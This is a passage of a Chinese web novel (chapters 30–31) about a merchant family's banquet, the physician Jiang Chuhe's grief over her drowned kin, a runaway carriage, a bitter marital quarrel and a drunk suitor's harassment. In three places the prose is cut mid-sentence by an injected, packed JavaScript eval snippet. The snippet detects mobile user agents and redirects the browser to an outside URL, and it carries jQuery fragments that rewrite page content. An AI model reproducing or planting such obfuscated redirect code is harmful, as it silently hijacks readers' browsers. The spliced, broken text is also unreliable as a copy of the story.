如今《建兴全书》已编纂完成,州府的进书队伍也随之解散,但两人的交往却并没有因此中止,不仅时常相互赠书用以收藏,言诩在考据金石碑刻的过程中更是没少向陈崇借阅孤本奇书以作参考。 陈崇听罢他对玉册残片的种种描述,心下已经对言诩的盘算一清二楚,就等着老狐狸张口。 果然,此人下一句便说到他费尽心力才从一众散乱竹简中拼凑出来的那半卷《降神演义》。 据传此书成于数百年前,是宁州某不具名的说书先生根据坊间野史写就的传奇话本,曾风靡一时,但经多年战乱洗礼,如今大半都已散轶,仅存于陈崇之手的还是他历经数年搜寻后七拼八凑的成果,由于缺漏太多,又并非什么正经读物,故而在进书时未敢献出,至今都被他压在箱底。 “怎么……文通兄莫非是想……” “言某肚里这点小九九果然是瞒不过伯阳少爷!”言诩一脸狗腿相,“我看那玉册残片上刻有铭文,似乎是与弋陵之战有关,便想着向阁下讨来那卷《降神演义》,再好生钻研一番。” 陈崇闻言,双眼微微眯起,露出几分狡黠之色,“那话本散失太久,如今我手上的半册还是自己凭数十版残卷艰难拼凑而成的……” “哎呀!我就知道此书得来不易!”言诩拦住话头,“若伯阳少爷肯割爱供敝人一阅,改日去我宝蕴楼内库,珍宝文玩你随便挑走一样!” “当真?” “如若反悔,天打雷劈!” “咣!咣!咣!”三下钟鸣应声响起,是晚宴开始的信号。 两人只得相约稍后再谈,正在寒暄的其他宾客们也不约而同地安静下来,齐刷刷地看向主宾之位,静等陶刺史的发言。 “今日黄四爷设宴,我等欢聚一堂,共庆花神会圆满落幕。此乃陛下仁德,天佑宁州,方有今日百姓安乐、商贸繁盛!本官谨以此杯,愿皇图永固,宁州风调雨顺,诸位前程似锦!请满饮此杯,共飨盛宴!” 此言一出,众人齐声应和,举杯共饮。 宴会就此正式开始,丝竹管弦之声响彻厅堂。 酒过三巡之后,席间氛围逐渐热络起来,宾客们相互敬酒闲聊,好不热闹。 葛木兰在本地经营多年,又是个八面玲珑的性子,自有不少相熟的商户夫人来与她寒暄,她都一一引荐给江楚禾认识,女宾末席很快就以两人为中心,发展出一个欢声笑语不断的小圈子。 这副如鱼得水的模样落在黄舒窈眼中,引得心中那阵不甘再度涌起,气堵之感自上腹直冲喉头,一阵眩晕感随之袭来,她赶忙扶住桌案,不知是因为紧张还是饥饿,长袖下的小臂甚至在微微发颤。 “窈儿。”陈德音低声唤她,“时候到了,打起精神!” 黄舒窈深深呼吸,握紧自己的拳头指甲一点点掐进掌心,尖锐的痛感暂时驱走晕眩,她挺直脊背,重新挂上那副无懈可击的温婉笑容,轻声道:“是,母亲。” 她优雅起身,款款走向以刺史为首的贵宾席。 “诸位明公在上,小女黄氏,代家父家母,敬谢诸位光临。以薄酒一杯,聊表敬意,愿诸位福寿安康,愿宁州百业兴旺。” 说罢,黄舒窈以袖掩面,饮下杯中之物,全程谦而不卑,好似练习过千百遍一般完美。 看着一众官员皆难掩欣赏神色,陈德音露出满意的微笑。 她要的就是这个效果。 只要先在诸位贵人心里留下一颗名为“此女不凡”的种子,待到她选中的那位青年才俊南下此地,只需稍加灌溉,便能开花结果,届时她的窈儿便是陈氏重返高门的阶梯。 黄舒窈远远看着母亲的面色,总算放下心来。 可是,待退回其母身旁,她却未能如期得到一句肯定之词。 “下次转身时,裙摆再收住半寸。”陈德音低声道。 一瞬间,疲惫与委屈再度涌上心头,黄舒窈顿觉一阵头晕目眩,从午后开始就酸软无力的手脚也有些微微发颤。 可陈德音却对此全无察觉。 还是站在身后的阿姎凑近问起:“娘子,您这是咋了?哪里不舒服吗?” 黄舒窈连忙摆手示意对方噤声。 她心里虽希望母亲能给予关怀,但也明白,今天是黄家的大日子,决不能因为自己而蒙上一丝阴影。 正如黄舒窈所期盼的那样,宴会圆满地进入尾声,待江楚禾心满意足地享用完最后一道杏仁冻后,众人已随着陶刺史的脚步前往庭院赏月观花了。 江楚禾也随大流前往黄家的庭院“锦萃园”,甫一踏过垂花门,她便不禁暗道“名副其实”。 目之所及,尽是一片艳红金橙的喜庆富贵,高大的火焰树已擎起几团烈焰,在大红灯笼的映照下颇为灼眼,两侧的垂丝海棠软枝低垂,初放的粉嫩花朵犹如彩云几抹,悬在枝头。 蜿蜒的廊架上,橙红色的炮仗花如瀑布般倾泻而下,石径小路旁更有丛丛朱槿,鲜红大花肆意怒放,将此处“锦绣荟萃”的寓意诠释得淋漓尽致。 众人的目光皆被眼前这片云蒸霞蔚的景色所吸引,溢美之词不绝于耳,唯有陶晋的视线久久定格于角落里,那一株临水而立的紫玉兰。 黄季见状,虽有一丝错愕,但很快就反应过来,笑着介绍道:“此树名为‘辛夷’ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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同样游离于这场热闹之外的还有江楚禾,只是她的心思并不在此处,竟丝毫没有发现葛木兰的异常。 打从踏入锦萃园,她便挑了处无人驻足的游廊,静静远观着可悲的众生相、名利场。 方才那人说得不错,清晖一片恰似皇恩浩荡。 众生熙攘,所求不过就是那片月光照耀下的一隅之地,借此得势,车马盈门;当那光芒吝啬地挪开,便是繁华散尽,满地凄凉。 而真正的月亮,永远高悬于天边,冷眼俯瞰众生,决定着自己该照向何人。 五年前的二月十五,也是这样的月圆之夜,江楚禾跪伏于冰冷的金砖上,叩谢陛下为她赐婚的恩典。 那时的建兴帝高踞龙椅之上,虽说御前高台不过九级阶梯,于下位者却有如天堑,而她的未婚夫齐王殿下,则侍立于御座侧后方的阴影中,隔着明黄纱帷与半个大殿远远地看着她。 本朝阶级分明、礼制森严,除非得到准许,否则江楚禾不能抬头,只是她虽未得见,却能清晰感觉到那道自上而下的凝视,其中分明暗含着征服与占有。 皇权便是如此,轻易就能摆弄旁人的命运,被操控之人却只能伏在冰冷的地上,感恩赏赐,高呼万岁,甚至没有机会一窥它的真容。 不,也不是完全没有。 当年江楚禾曾趁着起身告退的工夫偷偷抬一下眼,可惜当她的视线穿过薄纱帘幔,越过御座上的帝王,却只捕捉到一个极其模糊的修长侧影,她还未来得及看向对方的脸孔,就被内侍严厉的目光无声制止,只能惶恐地低头离开。 那匆匆一瞥,短暂得如同瞬间,她什么都没有看清,只记得那位侍神圣童距离自己实在太高太远,就像当晚殿外的月光。 江楚禾看着高悬天际的无暇玉盘,只觉眼前的皎皎银辉愈发清冷,就连锦萃园中的喧闹人声都不能将那份寒意驱散分毫。 同一片清晖也冷冷投进了归元堂内,那扇洞开的轩窗。 司徒靖虚汗连连地在榻上翻滚着,寒气正自心脉处向四周一寸寸地侵蚀,带着虫蚁啃噬般的刺痛,逐步蔓延至四肢百骸,游走于他的血肉之中。 一贯清明的头脑也随之慢慢变得混沌。 恍惚间,他又想起当年受困于西绝期间,被蒙住双眼锁在兽笼里,等待被锐器一下一下刺破胸腹的经历。 司徒靖用尽力气攥住手中的荷囊,低声呢喃道:“楚禾……楚禾……” 30. 愧意 直到二更的锣声敲响,宴会总算顺利结束。 待将陶晋等贵客一一送上返程的车驾,陈德音终于拉下勉强噙笑已有许久的嘴角,又恢复往日的六分矜贵与四分傲慢。 她瞥了眼正在不远处与其他宾客假作惜别的黄季,冷哼一声,又朝黄舒窈走去。 “窈儿,为母有些乏了,你留在此处,和你父亲一起送送其他客人。”说罢,她又蹙眉补充:“背挺直些,打起精神。” “是,母亲。” 黄舒窈强行支撑起酸软无力的身体,向她投去一个温婉乖巧的微笑。 陈德音扶额颔首,转头就向内院走去。 待那身华贵的衣袍消失在转角,黄舒窈这才支撑不住,在猛烈的眩晕下晃了晃身体。 “娘子!”阿姎低呼一声,将她扶住,手下竟是一片滚烫,“哎呀!您这是……在发热呢!” “无妨,先扶我回去吧。” 黄舒窈看着正在院门口送客的父亲,自觉已没有什么帮得上的忙,累积一晚的不适又愈发明显,若如母亲所说继续留在此处恐怕只会惹出麻烦,倒不如早些回房歇着。 阿姎也顺着她的视线看过去,只见江楚禾正与黄家管事韦骜作揖辞别。 “诶?那不是江娘子?”阿姎的语气带着几分欣喜,“您等着,我去喊住她!让她给您瞧瞧!” “不许去!”黄舒窈低喝一声,阻止她道:“否则今日的宴席可就要白费了!” “啊?”阿姎不解。 黄舒窈料想此人定然不知其中利害,但她无意多费口舌,只道:“我不过就是受风有些着凉罢了,你快点回去给我熬碗姜汤便可,切不可将我不适的消息声张出去!” 她为今日准备许久,好不容易才捱到散席,若让旁人知晓自己身体不适,那往后给人谈起这场盛宴,众人议论的焦点便不会是黄四爷资财雄厚实乃巨贾,也不会是黄娘子温婉贤淑堪为良妻,只会是她黄舒窈体虚病弱,难当大任! “还不快些扶我回去?”黄舒窈眉头紧蹙,语气坚定。 阿姎见状,只好听命行事,但是在临离开前,她还是不死心地回头看了眼不远处的缥色身影,期盼着对方能正好转过头来。 可惜,江楚禾并未发现身后的这道视线,她正对着冷清的街巷发愁。 韦骜一眼就看出她的难处,“江娘子可是在为难车驾?” 今日来访的多数宾客都自备车驾,唯有江楚禾是临时唤了轿夫来的,现在天色已晚,黄家主宅又选址在幽深僻静之处,想再叫车恐怕并不容易,而与她熟络的葛木兰又不知何故竟以望春楼突发急事为由从席间早退,未能捎她一程。 江楚禾点点头,坦然承认。 “夜色已深,岂能让贵客独自返家?”他唇边挂着温良恭谨的笑容,对江楚禾道:“家主特意交代要备好车马,将您平安送回。” 江楚禾有些意外。 她与黄季素来无甚交情,且两人地位悬殊,他为何突然这般殷勤? 但此举堪称雪中送炭,江楚禾自是不会假作清高拒绝人家,她从善如流道:“如此,便多谢黄四爷,也有劳韦管事了。” “江娘子莫要客气。”韦骜一边引路,一边状似无意地同她攀谈起来:“敝人听说,江娘子出身郾州医药名门青囊山庄?” 江楚禾早就听说此人处世圆滑周到,想必只是礼节性地问及她的师门。 但精明如她,又怎能放过这个自我宣传的好机会? 江楚禾立刻回道:“江某不才,正是‘青囊山庄’庄主亲传弟子。” 医家自古看重师门传承,而历经千年不衰的青囊山庄更是这一行当的金字招牌。 果然,韦骜的脸上明显流露出了几分敬意。 正当江楚禾以为他会同寻常人那般称赞起“自古名师出高徒,江娘子师从此等宗师大家,想必也是神医在世”时,便听得韦骜说道:“在下素闻宗庄主高义,每逢疫病横行之时皆会派出弟子前往援手,悬壶济世以慰苍生,说来江娘子亦是扶危济困的女中丈夫,实令某等男儿汗颜。” 啊不是,怎么不按套路出牌呢? 江楚禾默默咽下早已准备好的台词,做出一副谦虚恭谨的模样道:“韦管事过奖,江某只求不辱师门、无愧于心,无论是两年前深入疫区,还是此前的见义勇为,都只为践行心中道义而已。” 她特意提起自己在宁州大疫期间救治百姓的事,为的就是将话题拉回到医者本分上来,以便见缝插针地再为归元堂立一立招牌。 不想韦骜下一句却将话头引向别处,生生阻断了江楚禾想借此机会从南山堂手里撬走黄季这个大主顾的念想。 “说起来……五年前越州的那次大疫,江娘子也曾前往疫区相助么?” “五……五年前?” 江楚禾将这话重复一遍,试图掩盖自己突如其来的慌张。 但韦骜似乎并没有发现她的异样,他微微颔首,再次确认道:“嗯,越州,天枢。” 天枢一词在医经《素问》里指的是天地之气相会的中点,而在大梁版图上的“天枢”则是位于这片陆地正中的,一座依山而建的古城。 此山名唤“灵山”,山如其名,可说是颇具灵气。据传正是武神与莳花神女的飞升之地,亦是上古贤君天子庚与天帝沟通之所,自大梁建国起更是屡降祥瑞,被先帝钦点为封禅祭天之处。 但对于江楚禾而言,此处却并非什么洞天福地。 那是江姓族人的埋骨之所。 五年前,她自兴京逃出后一路南下,循着族人流徙的路径进入越州地界,还未来得及赶上他们的脚步,便得知因綦江在流经灵山时意外发生决堤,灵山脚下的洼子村已于一夜之间化为汪洋,而她的亲人们则尽皆葬身水底,尸骨难寻。 正所谓“大灾之后必有大疫”,江楚禾刚得知噩耗不久,还没来得及寻到机会潜入灾区收殓族人遗骨,瘟疫便顷刻间在整个越州肆虐开来。 彼时大梁已与西绝开战数月,此处正聚集着大批自定州逃难而来的边境灾民,一路流亡本就怨气横生,又猛然遭到洪涝瘟疫,过激的情绪开始逐渐弥漫,在某些民间团体的推波助澜下愈演愈烈,甚至一度出现过悖逆之举。 幸好朝中派往天枢赈灾的钦差是素来以铁血著称的尚书右丞杜惠,他在接下重任后便立即下令封锁各处要道阻断疫病蔓延,同时又迅速擒获数个妄图借助宗教势力趁火打劫的贼匪头目,这才避免了一场动.乱的爆发。 而“青囊山庄”庄主宗离则在得知洪灾发生的当晚便派出百名弟子赶往天枢,为应对瘟疫做足准备,两相合力之下,总算在数月以内将疫情彻底控制住。 可惜,江楚禾并未对此做出什么像样的贡献。 因为她在天枢附近没有逗留多久便被强行带回青囊山庄,此后近两年都不曾离开过郾州灵渊,甚至在灾后数月齐王与国师于天枢举办罗天大醮为死者祈福时,她都无缘前往,为自家冤死的族人同颂几句经文以寄哀思。 想到此处,江楚禾不禁叹息道:“江某惭愧,彼时拜入师门尚且不久,没能在天枢百姓遭逢瘟疫时施以援手。” 她如此向韦骜解释着,言语间流露出的那份自责,令后者感到有些意外。 “此等壮举但凡行过一次便已是不世之功,何况江娘子平日治病救人亦是福泽万家,大可不必因未能在天枢出力而感到挂怀。”韦骜如是劝道。 只是他不懂,江楚禾的懊悔并非只是因身为医者未能在紧急时刻尽责而产生的愧意。 更令她于心难 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16923015|192645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安的是,当时她与亲人相距不过百里,却只能眼睁睁看着他们与千百个同样无辜的灵魂一起葬身水底。 待到她与韦骜作别,乘着黄家派出的马车行至归元堂附近,江楚禾仍没能从那阵低落的情绪中解脱出来。 直至听到一阵马声嘶鸣。 万寿街上多是医馆、药铺,本就没有什么夜间娱乐,此刻又临近宵禁时分,便更显幽深僻静,两侧的宅院店铺尽皆大门紧锁,路中也是行人寥寥。 一匹老马正拉车载起江楚禾一行人优哉游哉地往归元堂的方向走着。 “啪”! 一声摔碎酒坛的脆响刺破了黑夜的宁静。 “真是倒霉!” 年轻男子又愤愤然咒骂几句,这才骑着驴子从医馆对面的小巷中晃悠出来,冒失地闯入了老马的视线。 马匹因突然的声响和蹿出的人影而猛然受惊,如疯癫一般载着三人在街上狂奔起来,任凭黄家的车夫怎么努力,都没能阻止马车向前冲去。 “怎么了?” 江楚禾立即发觉不对,急忙探头询问道。 “啊!东家你可得坐稳了!千万别出来!危险……啊!” 宋福正与车夫一同坐在前室,见此情状被吓得不轻,却仍不忘向试图撩开帷幔的江楚禾嘱咐着。 “啊!啊……前面那个,快躲开!危险!” 眼见马车就要朝着路中间那个骑驴的身影撞去,宋福吓得赶紧大喊一声。 “这样不行!” 江楚禾看着在车夫手中越攥越紧的马缰,一把掀开帷幔。 “你俩坐车里去,我来!” 说着,便作势要夺车夫手中的缰绳。 黄家的车夫是一名喑人,此时只能摇摇脑袋,沉默着向她表示拒绝,转头又继续与那匹老马较劲。 但宋福听后却不管不顾地喊叫起来:“啊?这怎么成!东家你快进去!” “你少废话!” 江楚禾揪着衣领将他拖进车厢,而后一屁股坐在宋福之前的位置上。 “你!松一松缰绳!” 此时已顾不上解释太多,她只能给车夫一个言简意赅的指令。 但对方却像是不相信她一般,迟迟未按她所说的那样动作。 眼见马车距离前方正驮着人拼死逃命的驴子越来越近,江楚禾一把夺过缰绳,循着记忆中的要领一边用掌心安抚着马匹,一边用恰到好处的力道侧向控缰,试图让发狂的老马从惊惧中清醒过来。 在双方相距不过丈余时,江楚禾终于制住手中的马匹,将车堪堪停在道路当中。 事发不过电光石火之间,她的一系列操作却如行云流水般自然。 虽说大梁在五年前一举灭除西绝后,如今已坐拥北境高寒草场,又多年没有大型战争,马匹早就算不得什么稀缺物资。 可朝廷毕竟是近两年才取消“庶民不得骑乘马匹”这一限令,驭马在民间仍然算门稀罕的技艺,谁能想到她不过区区女医,竟还有如此本事? 在场众人面面相觑。 宋福更是因过于惊讶而大张着嘴,老半天了才蹦出一句:“东家……厉害啊!” 大梁律令并不强制要求男子在成婚后与父兄分家,所以江氏祖孙三代在家变之前仍是同堂居住。 正因如此,江楚禾这位江九娘子才会有八位兄长轮番教她君子六艺,以至于她在尚未及笄之时便已是骑射一道的个中好手。 但她并不想冒险给人留下探究身世的空间,虽说车夫是个喑人,可此时正瘫倒在地的那位…… 她可信不过。 “这算什么?我们定州人可是在马背上长大的。” 江楚禾丢下这么一句算作解释,转身就去查看刚从驴背上摔下来的可怜虫。 31. 放肆 待黄季回到自己屋里,已是二更两点之后,他卸下一身伪装,疲惫地推开门,却意外见到陈德音正端坐于桌边。 两人早在数年前就已不再同宿一屋,她这是跑来做甚? 黄季挤出一丝尬笑,和气问道:“夫人可是有事?” “怎么,我若无事,便来不得此处么?” 其实就在黄季进来之前,她才暗下决心要与之好好相处,可不知何故,一见到这张虚伪面孔,陈德音又忍不住拉下脸去。 她都说不清自己为何怒火中烧,黄季自然更加摸不着头脑。 可受限于律法规定,两人终生不得和离,注定要做一世的怨偶,他为能多活几年还是得尽量避免冲突。 于是在心中默念数遍“莫生气”后,黄季又开了口:“夜色已深,夫人怎的还未就寝?” “不困。” 好极了!真会聊天! 黄季被噎得不轻,但若不将此人赶紧送走,他怕是也没法歇着。 于是,他假咳几声,又谆谆善诱道:“今日夫人辛苦,便是不困也合该早些睡下……” “睡不着。” 为张罗今晚的宴会,陈德音一连忙活几日,早已倦容难掩,但近几年来她烦心事多,睡眠一天不如一天,否则也不必在归元堂配茯苓茶喝。 想起这茬,她心里又窜起一撮无名火。 好巧不巧,黄季的下一句话又往上添了把薪柴。 “夫人若是难寐,不如明日叫那归元堂的女医过来看看,我听说夫人曾从她医馆抓药,想来也对夫人的情况也熟悉些……” 可没等黄季说完,陈德音便一拍桌子。 “你今日何故请了她来?” “她?” “归元堂的那个女医!” 黄季有些意外。 他早知道陈德音没什么气量,但能小心眼到这种程度,也实在是有些离谱。 见他一脸不以为然,陈德音抬高声音又追问一遍。 此时的黄季分外后悔,怎么就没有紧着宵禁前的那点工夫赶紧回别院去住,搁这受闲气也是吃饱了撑的! 他微闭双眼,不愿搭理。 “我问你话呢!方才在席间夫君不是妙语连珠,风趣得很么?怎么对上我这就哑巴了?” 看出他像是又要对自己“冷处理”,陈德音的语气变得更加咄咄逼人。 看着烛光下那张横眉怒目的脸,黄季终于放下伪装,不耐烦地回道:“生意上的事,你不懂便不要插手。” 陈德音对这个答案很不满意。 “她一个小小女医,能跟黄家有什么生意来往?”她用茶水润了润喉咙,又蹙起眉头继续道:“那江娘子此前当街与人争斗不说,甚至还进过牢狱,早就坏了名声,咱家同她原也没什么交情,你为何突然邀她前来?” “田大人早就将此案审理清楚,人家那是被冤枉的……” 黄季刚说一句,就被陈德音截断话头。 “可你明知那女医相貌浓丽,又长袖善舞,若今日在此,定会压过窈儿一头,为何还要将她请来?” 听闻此言,黄季才总算弄明白她在介意何事。 他忍不住轻啧一声,“你就放宽心吧,没人想要抢你女儿的风头。再说了,今日前来赴宴的多是些个白衣商户,您这高门贵女不也看不上么?” 这般阴阳怪气,自然立时激起了陈德音的反感,她一拍桌案,冷冷问道:“你这话是什么意思?” “我早就听说你盯上了即将到任的海西道监察御史,难道没这回事吗?” 海西道监察御史付昂,出身高门付氏,人称“付六郎”。其先父付苒于先帝在位时即任太傅,位列三公;其长兄付旻曾任尚书右仆射,并终以太师致仕;其四兄付易则为现今执掌盐铁司的从二品高官,可谓是满门簪缨。 而他本人虽仅仅官居七品,但却是位低权重的天子近臣,所言直达天听,前途不可限量。 陈德音轻蔑地哼了一声,“父母爱子,则为之计深远。我做的一切都是在为窈儿考虑!那付大人出身名门,据说还性情温和、相貌不俗,想来自是良配。” “出身名门?哼!这便是你送嫡女嫁庶子的理由?” “你懂什么!”陈德音将手中茶盏重重一放,“正因那付六郎是庶出,且父母皆已亡故,族中当家的嫡兄定不愿看到他与高门联姻、壮大羽翼,更不会为他张罗亲事,所以他的婚姻才能自己做主!到时只要窈儿能抓住他的心,便可摆脱商户之女的名头,成为官宦人家的当家主母!不然……哼!就凭你这低贱出身,我的窈儿何时才能有出头之日?” “够了!”黄季一拳砸向桌面,“陈德音!你不就是想靠窈儿去攀高枝,为你谋求重振陈氏一门的机会么?我劝你眼皮子别总那么浅,成日里就惦记着这点男女之事!” “若非如此,还能如何?”陈德音抬高声音,向黄季喊道:“身为女子,又没有旁的机会,不靠婚姻还能怎样?你也不想想,若那科举大道亦为我等敞开,我何必委屈自己嫁作商人之妇?又何必逼迫窈儿去学那些讨好男子的把戏呢?” “……” 见黄季一时语塞,陈德音气势愈盛,厉声继续:“就你这么个将娼女养作外室的男人,倒有脸嫌旁人盯着这种事了?黄老四,我倒想问问你,究竟是谁成日里就惦记着男女那档子事呢?呵……说起来……你这般急着同那江姓女医交好,莫不是看她模样不错,心中起了念想吧?” “住嘴!”黄季终于忍无可忍,将桌上茶盏掷向地面。 他与段梦萦苟且已有多年,此前陈德音始终隐忍不发,他还以为两人会如此相安无事下去,但随着近日他奏请纳妾的批文下发,段梦萦又有了身孕,这位正妻终于后知后觉地开始为此哭闹起来。 按照本朝律法规定,王侯一妻八妾;卿大夫一妻二妾;士一妻一妾;庶人一夫一妇,唯年四十以上无子,方许奏选一妾。 自幼子黄远夭折之后,两人再无所出,因此黄季在年满四十那年便准备向州府提出纳妾申请,给段梦萦一个名分,可惜林老夫人在那不久后便猝然离世,他按律守孝三年,这才拖延到了现在,说起来也是枉费了她的大好青春。 想起段梦萦,黄季的内心终于又柔软下去。 毕竟将来三人要在同一屋檐下过活,还是不要撕破脸为好。 这么想着,他软下口气,岔开话题:“夫人的眼睛也别总盯着为夫一人,我方才可是听说……有人见着你的好侄儿巴巴地去寻江娘子了。” * 陈崇显然是偷偷溜过来堵她的,甚至连个小厮都没带在身边。 但江楚禾可没有要同他攀谈的意愿,她在确认对方并无大碍之后,便道:“陈郎君受惊,碰巧黄家的车夫正在此处,不如由他送您回去。” “哎唷!”陈崇对她的冷淡反应十分不满,他上前几步,语气暧昧:“阿九怎的这么快就赶我走?难道……你就不想同我多相处相处?” 这话听得江楚禾直犯恶心,可面上却还是不敢表现得太明显。 要知道陈夫人在自家女儿被送走多年的情况下仍一直将这位侄儿带在身边,这是得有多看重他? 为了生计,她决定还是再忍一忍。 江楚禾仍旧保持着微垂下头看向地面的卑顺姿态,但回复的语气却更显冰冷:“陈郎君,江某与您本无私交,还请您注意分寸,莫要惹人闲话。” 她自认此言句句在理,可陈崇却并不同意。 “本无私交?阿九这般无情,我真要伤心了……自那日匆匆一见,小生可是日夜都在思念你呢。” 他不知从哪里掏出来一柄折扇,作势就要去挑江楚禾的下颏。 好在江楚禾一见对方抬手便及时察觉此人意图,不过微微转动一下玉颈,就轻巧躲开了陈崇的无礼挑逗。 但对方却似乎仍然乐在其中,他挑眉一笑,深情吟道:“有一美人兮,见之不忘。一日不见兮,思之如狂。” 看他那摇头晃脑的模样,还以为是要亲自作诗一首呢…… 不过全凭陈崇的突然发癫,江楚禾才总算注意到他的异常,开始借着马车上那盏灯笼的微光观察起他的状态来。 方才她只顾得上去关注陈崇是否受伤,并未细瞧他那张脸,现在才发现这人面色发红、眼神涣散,分明是已经醉酒不浅。 人生法则第一条:不要激怒醉鬼,因为他们可能做出任何事。 江楚禾向对方浅浅一福,假作谦恭道:“承蒙郎君错爱,江某不胜惶恐,只是在下无意婚嫁,恐怕只能拂了郎君的好意。” 这么回复…… 即便陈崇不够聪明,也应该能够领会到她的意思吧? 江楚禾如此想着,赶在对方回应之前又急着补充一句:“眼下天色已晚,江某先行告退。” “慢着!” 冰凉的五指突然伸将过来,如毒蛇般缠上她的腕子。 江楚禾猛地一激灵。 她想都没想便用力甩开,不料那人竟又追赶上来,狠狠地掐住她的手腕。 “东家!”宋福见势不妙,忙站到江楚禾旁边,像是随时准备豁出命去替她做主。 这小孩有点长进啊…… 江楚禾内心十分欣慰,但却顾不上夸他。 因为这一举动显然惹了毛面前的这位醉鬼。 陈崇火冒三丈,连平日里斯文优雅的书生架子顾不得端上,径直就斥:“狗奴才闭嘴!这里没你说话的份!” 江楚禾见此人这般不知进退,也懒得再给他台阶。 她将宋福拉到自己身后,示意他不必插手。 然后,她举起被陈崇擒住的右手,毫不客气地说道:“现下已临近宵禁,街上随时会有捕爷巡查,你我若是在此闹出什么事故,恐怕大家面上都不好看,还请阁下自重。” 陈崇见她如此反应,终于确定江楚禾之前躲开他的撩.拨并非是要与他上演什么相互追逐的调.情戏码,毕竟眼下她满脸的厌烦可丝毫不像作伪。 压抑整晚的怒火腾地又冒上来。 “呵……自重?”陈崇冷笑一声,“你设法弄到今日的邀帖,还打扮得这般漂亮,不就是为了来勾.引我?现在又装什么贞烈?” 江楚禾早就发现这人自信得很,恐怕白他一眼都能被当做是暗送秋波,所以对他这番话并不感到意外。 她扭动手臂,试图从脱离对方的掌控,可醉酒之人的力气大得很,一时竟未能撼动分毫。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16923016|192645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 其实,以江楚禾的身手要想从他手中全身而退并非什么难事,可若当真如此,今晚之事恐怕很难善了。 因此她的内心还有些犹豫。 但陈崇却将这般忍让视为女子生来的卑弱,反而愈发张狂无礼起来。 他带着一股酒气凑近,阴恻恻地道:“无话可说?方才我见你同韦骜倒是相谈甚欢,怎么偏巧对我就没话说了呢?莫非是见那狗奴才在黄家颇受重用,上赶着想给他续个弦么?” 若非碰巧见着她与韦骜聊得火热,还笑得那般动人,他本没打算半夜堵在路边,将场面做得如此难看的。 陈崇晃了晃脑袋,不知道事情究竟是如何发展到这个境地,但他已有些控制不住自己。 “阿九啊……我劝你不要打错了算盘,他韦骜再有能耐,也不过就是黄家的一个奴!而我,可是凌霄陈氏的本家嫡子!总有一天……我会让黄老四把他欠我陈家的全都吐出来!我!会得到黄家的一切!” 陈崇食指向天,如赌誓一般越喊越大声。 起先江楚禾刚听他说起韦骜时还有几分清誉被污的不平,可越听到后面,她就越觉得可笑。 众人皆知黄季下个月就会正式将烟柳阁清倌人出身的梦萦小姐纳入家中,而这位外室已有身孕的消息也早就不是什么秘密,陈崇凭什么觉得黄家的财产必定能轮得到自己继承? 她一时分心,没能控制好自己的表情,待有所察觉,她已当着陈崇嗤笑出声。 此举果然引起了他更为激烈的反应。 陈崇收紧攥着她腕子的手,恼羞成怒道:“怎么,你不信?所以才没相中我?你……也不想想,就你这般下贱的身份,又是在衙狱里走过一遭的人,谁知道身子还干不干净,能被我瞧中,都算是你前世修来的福分,你别给脸不要脸……啊!” 凶恶的嘴脸在一阵麻痛中瞬间变形,陈崇低头看向她摁在自己手肘的两指。 江楚禾想,横竖她已经开罪此人,不如放肆一把,起码可以赶紧脱身,不用忍着恶心同他迂回。 “哎呀,我看郎君神错谵语、言行无状,怕是害了狂症,按压此穴可安神定志,阁下莫要同我客气。” 江楚禾的语气轻飘飘的,但手下的力道却丝毫不减,直到陈崇因痛苦难忍而放开她的手腕,她才松开抵着对方小海穴的两根指头。 甫一撤去力道,陈崇便立即抱着手肘咬牙切齿地喊叫起来:“江阿九!你这个贱人!” “看来郎君患病颇重,仅用此法恐难痊愈呢!” 见江楚禾靠近,他下意识地后退两步。 陈崇早先听说“江娘子街头勇斗恶徒”时还不敢相信,这回总算见识到“弋陵第一母夜叉”的真实面目。 他想,既如此,也休怪他破坏归元堂的生意了。 陈崇揉着已然麻痹的半只胳膊,愤愤回道:“贱人!我要告诉我姑母!” “哦?你要告诉陈夫人……你觊觎黄家的财产,想从她这个主母手中分一杯羹?” 江楚禾的语气带着七分戏谑,气得陈崇直翻白眼。 “嘁,这算什么?我姑母虽是黄家妇,却更是陈家女,我若得到家产,必会重振陈氏门楣,她哪有不帮忙的道理?” “既然如此,为何她迟迟不将令尊留下的遗产交还与你,甚至从不替你筹谋婚事,以至于你要不惜求娶一位小小女医为妻?” “你怎么……” 陈崇一脸不可思议地看向江楚禾,没料到她对自己的盘算已然心中有数。 其实,早在陈崇第一次托钱媪向她提起议婚之事时,江楚禾便向葛木兰打问过与他相关的消息,想趁早寻到此人弱点,好及时扼杀这场婚事的苗头。 据说当年在陈崇的寡母改嫁之时,便将他与其父留下的遗产一并托付给陈夫人,相约待陈崇娶亲成家后再转交于他。 陈夫人那时答应得爽快,甚至还请到县里几位德高望重的老先生作为人证。 可如今陈崇已二十有二,却不见陈夫人替他相看哪家女子,逢人问起也总说他现下专注学业、无心娶妻,众人想着陈夫人此举大约是想待价而沽,等陈崇有功名后再做打算,便也不说什么。 可他本人难道就不急着将那笔遗产落袋为安吗? 陈崇虽未答话,但那副神色已将他的内心出卖。 